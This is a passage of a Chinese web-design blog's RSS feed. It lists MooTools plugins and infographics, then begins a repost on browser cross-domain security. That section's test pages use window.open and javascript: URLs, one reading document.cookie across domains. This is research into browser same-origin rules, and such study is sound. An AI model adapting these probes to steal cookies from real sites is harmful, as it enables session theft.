<p><a href="http://www.andrewsellick.com/35/sexy-sliding-javascript-side-bar-menu-using-mootools">Sexy   sliding JavaScript side bar menu</a><br />
  Generates a sliding sidebar menu.</p>
<p><a href="http://www.outcut.de/MooFlow/example-skin.html">MooFlow</a><br />
  A   full-fledged image slider that resembles cover flow.</p>
<p><img alt="MooFlow" src="http://cssrainbow.cn/Mootools/demo3/mooflow.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mooflow.jpg" /></p>
<p><a href="http://www.hotajax.org/content/view/491/420/">Simple 3D   Carousel</a><br />
  A 3d carousel.</p>
<p><a href="http://php-help.ro/examples/mootools_hover_button/">MooHover</a><br />
  Allows   you to include fancy transitions in CSS based hover menus.</p>
<h4>Layout and Style</h4>
<p><a href="http://moorainbow.woolly-sheep.net/">mooRainbow</a><br />
  A color   picker utility.</p>
<p><a href="http://www.phatfusion.net/roundedcorners/">Rounded   Corners</a><br />
  Creates round corners on divs on the fly.</p>
<p><a href="http://www.digitalia.be/software/reflectionjs-for-mootools">Reflection</a><br />
  Generate   image reflections on the fly with a wide range of customisation options.</p>
<p><img alt="Reflections" src="http://cssrainbow.cn/Mootools/demo3/reflections.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/reflections.jpg" /></p>
<p><a href="http://greengeckodesign.com/projects/moocolumns.aspx">MooColumns</a><br />
  A   class that allows you to dynamically organise content into multiple columns.</p>
<p><a href="http://greengeckodesign.com/projects/mooscroll.aspx">MooScroll</a><br />
  A   MooTools class that allows the customisation of how the scrollbar looks on   scrollable divs.</p>
<p><img alt="MooScroll" src="http://cssrainbow.cn/Mootools/demo3/mooscroll.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mooscroll.jpg" /></p>
<h4>Tooltips</h4>
<p><a href="http://icebeat.bitacoras.com/mootools/growl/">Window   Growl</a><br />
  Tooltips in the same style as the Mac OS X’s Growl system.</p>
<p><img alt="ToolTip" src="http://cssrainbow.cn/Mootools/demo3/tooltip.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/tooltip.jpg" /></p>
<p><a href="http://www.hotajax.org/content/view/213/420/">Tips</a><br />
  A tooltip   showdown.</p>
<p><a href="http://www.php-help.ro/examples/mootooltips-javascript-tooltips/">MooTooltips</a><br />
  Toolstips   that can have html or plain text content loaded with Ajax or inline.</p>
<h4>Form Usability</h4>
<p><a href="http://moo.floor.ch/docs/files/formcheck-js.html">FormCheck</a><br />
  This   plugin allows you to define a groups of validation rules to be applied to   forms.</p>
<p><a href="http://www.electricprism.com/aeron/calendar/">Calendar</a><br />
  Features   simple to create date pickers.</p>
<p><img alt="Date Picker" src="http://cssrainbow.cn/Mootools/demo3/date_picker.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/date_picker.jpg" /></p>
<p><a href="http://www.phatfusion.net/validate/">Validate</a><br />
  A simple form   validation plugin.</p>
<p><a href="http://www.nogray.com/time_picker.php">JavaScript Time   Picker</a><br />
  A time picker plugin. It uses the same idea as the date picker   pattern, but applied to time picking.</p>
<p><a href="http://www.wollzelle.com/os/multiple-select-widget/">MultipleSelect</a><br />
  Completely   customised multiple select elements.</p>
<p><img alt="Multiple Select" src="http://cssrainbow.cn/Mootools/demo3/multiple_select.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/multiple_select.jpg" /></p>
<p><a href="http://www.hotajax.org/mootools/accordions-menu-form/574-html-form-tips-using-mootools.html">HTML   Form Tips</a><br />
  Inspired by Twitter, it features a “remaining characters” count   that’s automatically updates as the user types.</p>
<p><a href="http://theuiguy.blogspot.com/2008/09/ultimate-dropdowns-v10.html">Select   Box Factory v1.0</a><br />
  A class that makes select elements support multiple   selection and selection drill down according to a variety of options.</p>
<h4>Slideshow</h4>
<p><a href="http://www.electricprism.com/aeron/slideshow/">Slideshow 2 </a><br />
  Slideshow plugin, resembles the slideshow in iPhoto and Photos in Mac OS   X and iPhone respectively.</p>
<p><img alt="Slideshow 2" src="http://cssrainbow.cn/Mootools/demo3/slideshow2.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/slideshow2.jpg" /></p>
<p><a href="http://smoothgallery.jondesign.net/what/">SmoothGallery 2.0</a><br />
  A   simple and elegant slideshow plugin.</p>
<h4>Ajax</h4>
<p><a href="http://digitarald.de/project/fancyupload/">Fancy upload </a><br />
  A   plugin that integrates Ajax and the Swiff functionality in MooTools to create an   upload manager.</p>
<p><a href="http://www.silverscripting.com/mootabs/">MooTabs &#8211;   Tiny tab class for MooTools</a><br />
  A small plugin that helps in the creation of   tabbed navigation through elements that can be retrieved via ajax.</p>
<p><a href="http://joeabiraad.com/ajax/ajax-login-form-php-javascript/89">Ajax   login form</a><br />
  A very simple ajax-based login form.</p>
<p><a href="http://www.phatfusion.net/pageloader/">Page Loader</a><br />
  Provides   classes to work with loading content via ajax and displaying results in the   current page. It also provides a history class that manages the history of the   loading area.</p>
<p><img alt="Page Loader" src="http://cssrainbow.cn/Mootools/demo3/page_loader.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/page_loader.jpg" /></p>
<p><a href="http://davidwalsh.name/mootools-dotter">MooTools Dotter</a><br />
  A   simple and effective Ajax-loading indicator that relies solely on JavaScript and   CSS instead of using images or animated GIFs.</p>
<p><img alt="MooTools Dotter" src="http://cssrainbow.cn/Mootools/demo3/dotter.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/dotter.jpg" /></p>
<h4>Content Overlay</h4>
<p><a href="http://www.phatfusion.net/lightbox/">Lightbox</a><br />
  A port of the   Lightbox plugin that handles a collection of images in a overlay.</p>
<p><a href="http://iaian7.com/webcode/mediaboxAdvanced">MediaBoxAdvanced </a><br />
  Content overlaying that works with several different media types.</p>
<p><img alt="MediaBox" src="http://cssrainbow.cn/Mootools/demo3/mediabox.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mediabox.jpg" /></p>
<p><a href="http://digitarald.de/playground/remooz.html">ReMooz</a><br />
  Image   overlaying plugin. Simple and elegant.</p>
<p><a href="http://www.phatfusion.net/multibox/">Multibox</a><br />
  An overlaying   plugin that supports images, flash, video, mp3s and html.</p>
<p><img alt="MultoBox" src="http://cssrainbow.cn/Mootools/demo3/multibox.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/multibox.jpg" /></p>
<p><a href="http://www.php-help.ro/mootools-12-javascript-examples/slideitmoo-v11-image-slider/">SlideItMoo </a><br />
  It packs a banner or image slider with an overlay image display effect   that resembles Lightbox.</p>
<p><a href="http://www.artviper.net/test/mooSlide2/">mooSlide 3.2</a><br />
  Shows   an overlay window at the bottom or at the top of the page with a variety of   options.</p>
<p><img alt="mooSlide" src="http://cssrainbow.cn/Mootools/demo3/mooslide.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mooslide.jpg" /></p>
<h4>Plugin Collections</h4>
<p><a href="http://www.moord.it/">moo.rd</a><br />
  A collection of plugins that   provides special effects, table management and more.</p>
<p><a href="http://www.clientcide.com/wiki/">Clientcide Plugins </a><br />
  A large   collections of plugins from the Clientcide blog.</p>
<p><a href="http://meteora.astrata.com.mx/">Meteora</a><br />
  A collection of   widgets written on top of MooTools, from datagrids, to calendars to JsonRPC.</p>
<h4>Rich user interfaces</h4>
<p><a href="http://mochaui.com/">Mocha UI </a><br />
  A rich user interface library,   it makes web applications look and behave like desktop applications.</p>
<p><img alt="Mocha:UI" src="http://cssrainbow.cn/Mootools/demo3/mocha_ui.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/mocha_ui.jpg" /></p>
<p><a href="http://jxlib.org/">JxLib </a><br />
  A library for rich client user   interfaces.</p>
<p><img alt="JxLib" src="http://cssrainbow.cn/Mootools/demo3/jxlib.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/jxlib.jpg" /></p>
<p><a href="http://og5.net/christoph/article/MooTools_based_FileManager">File   Manager </a><br />
  A complete implementation of a file system explorer that let’s   you navigate through the files, rename and preview them.</p>
<p><img alt="File Manager" src="http://cssrainbow.cn/Mootools/demo3/filemanager.jpg" loaded="true" original="http://cssrainbow.cn/Mootools/demo3/filemanager.jpg" /></p>
<h3>Text editor extensions</h3>
<h4>Plugins for Coda</h4>
<ul>
<li><a href="http://pradador.com/code/coda/moomode.html">MooTools mode for   Coda</a> </li>
<li><a href="http://pradador.com/code/coda/moodocs.html">MooDocs Coda plugin</a> A plugin for Coda that generates MooTools docs for you classes. </li>
</ul>
<h4>Plugins for TextMate</h4>
<ul>
<li><a href="http://svn.textmate.org/trunk/Bundles/JavaScript%20MooTools.tmbundle/">MooTools   bundle for TextMate</a> (You must have Subversion) </li>
<li><a href="http://www.nwhite.net/2009/03/05/moodocs-textmate-command/">MooDocs   for TextMate</a> A port of the MooDocs for Coda. </li>
</ul>
<h4>About the author</h4>
<p><em>Diogo Terror is a web developer that loves Ruby, Typography and Macs,   specially when they come altogether (and they often do). He also likes to post   random thoughts on <a href="http://www.twitter.com/dterror">Twitter</a> whenever   they occur (and they often do).</em></p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/12/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/843.html" title="表单的文本字段默认值插件，基于MooTools">表单的文本字段默认值插件，基于MooTools</a> (1)</li><li>2009/10/19 -- <a href="http://cssrainbow.cn/tutorials/mootools/776.html" title="图片预加载进度条，基于Mootools Plugins Assets">图片预加载进度条，基于Mootools Plugins Assets</a> (0)</li><li>2009/10/18 -- <a href="http://cssrainbow.cn/tutorials/mootools/767.html" title="MooTools国外经典实例与教程大集合">MooTools国外经典实例与教程大集合</a> (0)</li><li>2009/09/16 -- <a href="http://cssrainbow.cn/code-snippets/mootools-code-snippets/725.html" title="用MooTools 1.2实现类似jQuery “Click”的语法">用MooTools 1.2实现类似jQuery “Click”的语法</a> (0)</li><li>2009/08/24 -- <a href="http://cssrainbow.cn/articles/resources/668.html" title="MooEditable文本编辑器，基于MooTools的插件">MooEditable文本编辑器，基于MooTools的插件</a> (1)</li><li>2009/08/21 -- <a href="http://cssrainbow.cn/tutorials/mootools/665.html" title="《MooTools 完美解析》文章列表(更新中…)">《MooTools 完美解析》文章列表(更新中…)</a> (2)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/07/31 -- <a href="http://cssrainbow.cn/tutorials/jquery/561.html" title="三大“Sexy”特效库,基于mootools &#038; jQuery">三大“Sexy”特效库,基于mootools &#038; jQuery</a> (0)</li><li>2010/08/08 -- <a href="http://cssrainbow.cn/articles/resources/1357.html" title="9大MooTools Plugins来改善网站的用户体验">9大MooTools Plugins来改善网站的用户体验</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/625.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>数据之美（三）</title>
		<link>http://cssrainbow.cn/articles/resources/618.html</link>
		<comments>http://cssrainbow.cn/articles/resources/618.html#comments</comments>
		<pubDate>Wed, 12 Aug 2009 09:17:19 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[Resources]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=618</guid>
		<description><![CDATA[片图抵千言，任何数据报告都不如一幅图来得形象，6月中旬，我们曾译介了 Webdesigner Depot 的一篇文章，《数据之美》（上，下）。本文是 Webdesigner Depot 推出的另一篇同题材文章，介绍了25幅令人赞叹的计算机数据图形（Infographics），再次领略数据之美。

]]></description>
			<content:encoded><![CDATA[<p>片图抵千言，任何数据报告都不如一幅图来得形象，6月中旬，我们曾译介了 <a href="http://www.webdesignerdepot.com">Webdesigner Depot</a> 的一篇文章，《数据之美》（<a title="Permanent Link to 数据之美（上）" href="http://cssrainbow.cn/index.php/resources/349.html" rel="bookmark">数据之美（上）</a> <a title="Permanent Link to 数据之美（下）" href="http://cssrainbow.cn/index.php/resources/351.html" rel="bookmark">数据之美（下）</a>）。本文是 Webdesigner Depot 推出的另一篇同题材文章，介绍了25幅令人赞叹的计算机数据图形（Infographics），再次领略数据之美。</p>
<h3 class="subtitle">1. Web 趋势图</h3>
<p><a target="_blank" href="http://www.flickr.com/photos/formforce/3409362834/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/webtrendmap4.jpg" style="border:0px;" /></a></p>
<p><span id="more-618"></span></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">2. 字体周期表</h3>
<p><a target="_blank" href="http://api.ning.com/files/86jl2e4BiALT20KdPffJEKEX3OkVEuMewCyxD*pAV5JgvQrjMDetQD-K395jV92lT7IsrPI-l1CPkg8Ouywy*WQnOhaoJAbX/Periodic_Table_of_Typefaces_large.jpg"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/periodictableoftypefaces.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">3. 全球 Internet 流量图</h3>
<p><a target="_blank" href="http://www.telegeography.com/products/map_traffic/images/traffic_map08_large.jpg"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/globaltrafficmap.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">4. 经验的归结</h3>
<p><a target="_blank" href="http://www.poetpainter.com/thoughts/article/classifying-experiences"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/Classifying_Experiences.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">5. Flickr 用户模型</h3>
<p><a target="_blank" href="http://www.flickr.com/photos/bryce/58299511/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/flickrusermodel.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">6. 浏览器之战</h3>
<p><a target="_blank" href="http://www.pixellabs.com/images/browserwars.png"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/browserwars.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">7. 垃圾信息阅读报告</h3>
<p><a target="_blank" href="http://files.data.timgraham.net.s3.amazonaws.com/tg/blogs/data/wp-content/uploads/amonthofspam.gif"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/amonthofspam.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">8. 网络文章的生命周期</h3>
<p><a target="_blank" href="http://searchengineoptimization.elliance.com/search-marketing-resources/seo-infographics.aspx?title=The-Web-Life-of-an-Article"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/The-Web-Life-of-an-Article.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">9. 在线沟通地图</h3>
<p><a target="_blank" href="http://www.xkcd.com/256/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/online_communities.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">10. 用 1001 个 Web2.0 标志组成的世界地图</h3>
<p><a target="_blank" href="http://www.appappeal.com/web-2-0-application-world-mosaic/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/web-20-logo-mosaic.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">11. 全球海底光缆地图</h3>
<p><a target="_blank" href="http://image.guardian.co.uk/sys-images/Technology/Pix/pictures/2008/02/01/SeaCableHi.jpg"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/internetsunderseaworld.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">12. SEO毒药</h3>
<p><a target="_blank" href="http://searchengineoptimization.elliance.com/search-marketing-resources/seo-infographics.aspx?title=Spider-Traps"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/Spider-Traps.jpg" style="border:0px;" /></a></p>
<h3 class="subtitle">13. Google PageRank 之视觉解释</h3>
<p><a target="_blank" href="http://searchengineoptimization.elliance.com/search-marketing-resources/seo-infographics.aspx?title=Google-PageRank-Explained"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/Google-PageRank-Explained.jpg" style="border:0px;" /></a></p>
<h3 class="subtitle">14. 用社会媒体开一间公司</h3>
<p><a target="_blank" href="http://searchengineoptimization.elliance.com/search-marketing-resources/seo-infographics.aspx?title=Social-Media-Building"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/Social-Media-Building.jpg" style="border:0px;" /></a></p>
<h3 class="subtitle">15. SEO 清单</h3>
<p><a target="_blank" href="http://searchengineoptimization.elliance.com/search-marketing-resources/seo-infographics.aspx?title=SEO-Checklist"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/SEO-Checklist.jpg" style="border:0px;" /></a></p>
<h3 class="subtitle">16. 博客文章的生命周期</h3>
<p><a target="_blank" href="http://www.wired.com/special_multimedia/2008/ff_secretlife_1602"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/lifecycleofablogpost.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">17. 软件战势图</h3>
<p><a target="_blank" href="http://mshiltonj.com/software_wars/current/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/softwarewars.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">18. 美国网民结构图</h3>
<p><a target="_blank" href="http://images.businessweek.com/mz/07/24/0724_6insiid_a.gif"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/whoparticipatesonline.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">19. 看看1600万色的模样</h3>
<p><a target="_blank" href="http://davidnaylor.org/temp/all16777216rgb.png"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/what16mcolorslookslike.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">20. 可视化表示方式周期表</h3>
<p><a target="_blank" href="http://www.visual-literacy.org/periodic_table/periodic_table.html"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/periodictableofvisualizatio.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">21. Internet 周期表</h3>
<p><a target="_blank" href="http://www.wellingtongrey.net/miscellanea/archive/2007-06-23--periodic-table-of-the-internet.html"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/periodictableoftheinternet.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">22. 国家编码地图</h3>
<p><a target="_blank" href="http://www.historyshots.com/OtherArtists/4015.cfm"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/countrycodesoftheworld.jpg" style="border:0px;" /></a></p>
<h3 class="subtitle">23. 苹果产品分布图</h3>
<p><a target="_blank" href="http://www.nixlog.com/apple/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/apple_tipping_point.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">24. 美国 50年来消费电子市场与价格分布</h3>
<p><a target="_blank" href="http://www.wired.com/gadgets/gadgetreviews/magazine/test2007/st_infoporn"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/bleedingedgeofgadgetry.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">25. Yahoo 所有 API 与服务分布图</h3>
<p><a target="_blank" href="http://www.flickr.com/photos/phploveme/2957594235/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/yahooapisandservices.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">26. 数字存储媒介的重量与尺寸</h3>
<p><a target="_blank" href="http://www.flickr.com/photos/36343059@N08/3477759966/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/digitalmediaweightsandmeasu.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">27. 同国家不同时期对色彩的喜好</h3>
<p><a target="_blank" href="http://www.flickr.com/photos/seeminglee/3189586833/"><img src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/globalcolorusage.jpg" style="border:0px;" /></a></p>
<p><br class="spacer_" /></p>
<h3 class="subtitle">28. Facebook vs. Twitter</h3>
<p><a href="http://www.flickr.com/photos/metrobest/3485574749/sizes/o/in/set-72157617478192160/"><img width="615" src="http://www.webdesignerdepot.com/wp-content/uploads/infographics_for_designers/26.jpg" height="500" style="border:0px;" /></a></p>
<p>本文国际来源：<a href="http://www.webdesignerdepot.com/2009/06/25-useful-infographics-for-web-designers/">http://www.webdesignerdepot.com/2009/06/25-useful-infographics-for-web-designers/</a><br />中文翻译来源：<a href="http://www.comsharp.com/">COMSHARP CMS</a> 官方网站</p>
<h3  class="related_post_title">相关日志 »</h3><ul class="related_post"><li>2009/08/31 -- <a href="http://cssrainbow.cn/articles/resources/671.html" title="Opera的Web标准课程（推荐）">Opera的Web标准课程（推荐）</a> (1)</li><li>2009/08/13 -- <a href="http://cssrainbow.cn/articles/resources/625.html" title="MooTools国外的教程和资源大集合">MooTools国外的教程和资源大集合</a> (0)</li><li>2009/08/08 -- <a href="http://cssrainbow.cn/articles/resources/602.html" title="浏览器 跨域 安全 (收藏)">浏览器 跨域 安全 (收藏)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/tutorials/mootools/599.html" title="选择mootools的5个原因(转)">选择mootools的5个原因(转)</a> (0)</li><li>2009/08/07 -- <a href="http://cssrainbow.cn/articles/resources/595.html" title="MooTools vs Prototype 核心代码分析-为什么选择MooTools ">MooTools vs Prototype 核心代码分析-为什么选择MooTools </a> (2)</li><li>2009/08/01 -- <a href="http://cssrainbow.cn/articles/general/573.html" title="菊花香">菊花香</a> (0)</li><li>2009/07/22 -- <a href="http://cssrainbow.cn/articles/resources/523.html" title="如何做好一份前端工程师的简历 (收藏)">如何做好一份前端工程师的简历 (收藏)</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/402.html" title="低调做人 高调做事">低调做人 高调做事</a> (0)</li><li>2009/07/10 -- <a href="http://cssrainbow.cn/articles/general/398.html" title="神奇的成功步骤">神奇的成功步骤</a> (0)</li><li>2009/06/20 -- <a href="http://cssrainbow.cn/articles/resources/351.html" title="数据之美（下）">数据之美（下）</a> (0)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://cssrainbow.cn/articles/resources/618.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>浏览器 跨域 安全 (收藏)</title>
		<link>http://cssrainbow.cn/articles/resources/602.html</link>
		<comments>http://cssrainbow.cn/articles/resources/602.html#comments</comments>
		<pubDate>Sat, 08 Aug 2009 08:20:22 +0000</pubDate>
		<dc:creator>Rainbow</dc:creator>
				<category><![CDATA[Resources]]></category>
		<category><![CDATA[读书]]></category>

		<guid isPermaLink="false">http://cssrainbow.cn/?p=602</guid>
		<description><![CDATA[Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My Domain
的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的
内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，
可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。 ]]></description>
			<content:encoded><![CDATA[<h1 align="center">浏览器 跨域 安全</h1>
<p>Manuel Caballero大牛在这次的BLUEHAT大会上讲了一个叫A Resident in My   Domain<br />
  的议题，字面上的意思就是驻留在自己的域，随后开始有牛人在自己BLOG上写了一些相关的<br />
  内容，这段时间一直和HI群里的朋友在讨论这个问题，大家都简称为鬼页，这个鬼页非常神奇，<br />
  可以跟随你浏览的每个页面。经过鬼页的启发，我也对浏览器的跨域安全问题进行了测试。
</p>
<h2>1.来自伪协议的呼唤</h2>
<p>      JAVASCRIPT里大家都频繁使用window对象，window对象代表的就是浏览器的窗口，我们<br />
  就来测试下window对象的open方法，尝试让新开的窗口执行伪协议。</p>
<p>    在本机搭建一个WEB服务器，开始做下实验：</p>
<p><span id="more-602"></span></p>
<p>    用各个浏览器浏览 http://127.0.0.1/test.htm ，下面是test.htm的脚本内容：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>  
    x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'about:blank'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:alert(document.domain)&quot;</span><span style="color: #339933;">;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>    结果是：</p>
<p>    IE6：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
     <br />
  IE7：执行了伪协议，认为弹出窗口的域是127.0.0.1。<br />
   <br />
Firefox：执行了伪协议,认为还没有域为NULL。  </p>
<p>      Firefox这里对于这个接口可能也有个BUG，对于IP地址的弹窗Firefox没有辨认出域，但<br />
  是在实际绑定域名的情况下还是辨认出了域。</p>
<p>    为了下面的部分方便理解，我把这里弹窗的关系给简称下，原来的窗口叫父页，弹出窗口<br />
  叫子页，实验过后我们证明了:</p>
<p>    父页和子页都在同一个域里，父页可以重定向子页的URL地址，甚至执行伪协议。</p>
<h2>2.父页和子页的关系</h2>
<p>    如果父页让子页访问其他域后，父页和子页是否就脱离关系了呢？</p>
<p>    继续测试，用各个浏览器浏览 http://127.0.0.1/test2.htm ，下面是test2.htm的脚本<br />
  内容：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>  
    x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span><span style="color: #3366CC;">'about:blank'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://www.163.com&quot;</span><span style="color: #006600; font-style: italic;">//访问163网站</span>
    setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://127.0.0.1&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5000</span><span style="color: #009900;">&#41;</span>  <span style="color: #006600; font-style: italic;">//5秒后重定向到127.0.0.1</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>    这次IE6、IE7、Firefox都达成了一致，实验的结果是子页访问了163网站，5秒然后又跳<br />
  回了127.0.0.1。</p>
<p>    所以就算是子页在访问了其他域后，还是会受父页的控制。</p>
<h2>3.域与域之间的牵绊</h2>
<p>    如果父页让子页访问某个域后，再执行伪协议会有什么效果？</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test3.htm，下面是test3.htm的脚本内容：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
</pre></td><td class="code"><pre class="javascript" style="font-family:monospace;"><span style="color: #339933;">&lt;</span>script<span style="color: #339933;">&gt;</span>  
    x<span style="color: #339933;">=</span>window.<span style="color: #000066;">open</span><span style="color: #009900;">&#40;</span>’about<span style="color: #339933;">:</span>blank’<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;http://www.163.com&quot;</span>
    setTimeout<span style="color: #009900;">&#40;</span><span style="color: #003366; font-weight: bold;">function</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        x.<span style="color: #660066;">location</span><span style="color: #339933;">=</span><span style="color: #3366CC;">&quot;javascript:alert(document.cookie)&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">,</span><span style="color: #CC0000;">5000</span><span style="color: #009900;">&#41;</span>
<span style="color: #339933;">&lt;/</span>script<span style="color: #339933;">&gt;</span></pre></td></tr></table></div>

<p>    结果是：</p>
<p>    IE6：没有反应。<br />
     <br />
  IE7：报错，拒绝访问。<br />
   <br />
Firefox：报错，alert没有定义。  </p>
<p>    这些信息明显的说明，如果子页和父页不在同一个域里，浏览器是不允许父页控制子页<br />
  执行伪协议脚本的。</p>
<p>    为了进一步验证，我们让子页打开同一个域里的页面测试：</p>
<p>    用各个浏览器浏览 http://127.0.0.1/test4.htm，下面是test4.htm的脚本内容：</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
